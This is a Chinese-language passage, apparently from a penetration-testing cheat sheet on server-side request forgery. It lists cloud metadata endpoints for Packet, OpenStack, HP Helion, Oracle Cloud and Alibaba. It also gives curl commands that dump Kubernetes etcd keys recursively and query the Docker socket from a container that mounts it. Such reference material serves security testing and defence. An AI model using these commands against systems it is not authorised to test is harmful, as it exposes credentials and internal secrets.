要访问Packetcloud的元数据,可以在以下位置找到文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||
|
||
## OpenStack/RackSpace
|
||
|
||
不需要头部信息。可以通过以下方式访问元数据:
|
||
|
||
* `http://169.254.169.254/openstack`
|
||
|
||
## HP Helion
|
||
|
||
这里也没有提到需要头部信息。可以在以下位置访问元数据:
|
||
|
||
* `http://169.254.169.254/2009-04-04/meta-data/`
|
||
|
||
## Oracle Cloud
|
||
|
||
Oracle Cloud提供了一系列端点,用于访问各种元数据方面:
|
||
|
||
* `http://192.0.0.192/latest/`
|
||
* `http://192.0.0.192/latest/user-data/`
|
||
* `http://192.0.0.192/latest/meta-data/`
|
||
* `http://192.0.0.192/latest/attributes/`
|
||
|
||
## Alibaba
|
||
|
||
阿里巴巴提供了用于访问元数据的端点,包括实例和镜像ID:
|
||
|
||
* `http://100.100.100.200/latest/meta-data/`
|
||
* `http://100.100.100.200/latest/meta-data/instance-id`
|
||
* `http://100.100.100.200/latest/meta-data/image-id`
|
||
|
||
## Kubernetes ETCD
|
||
|
||
Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问方法如下:
|
||
|
||
* `curl -L http://127.0.0.1:2379/version`
|
||
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||
|
||
## Docker
|
||
|
||
可以在本地访问Docker元数据,提供了有关容器和镜像信息检索的示例:
|
||
|
||
* 通过Docker套接字访问容器和镜像元数据的简单示例:
|
||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||
* 在容器内,使用带有Docker套接字的curl:
|
||
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||
|
||
## Rancher
|
||
|
||
可以使用以下方式访问Rancher的元数据:
|
||
|
||
* `curl http://rancher-metadata/<version>/<path>`
|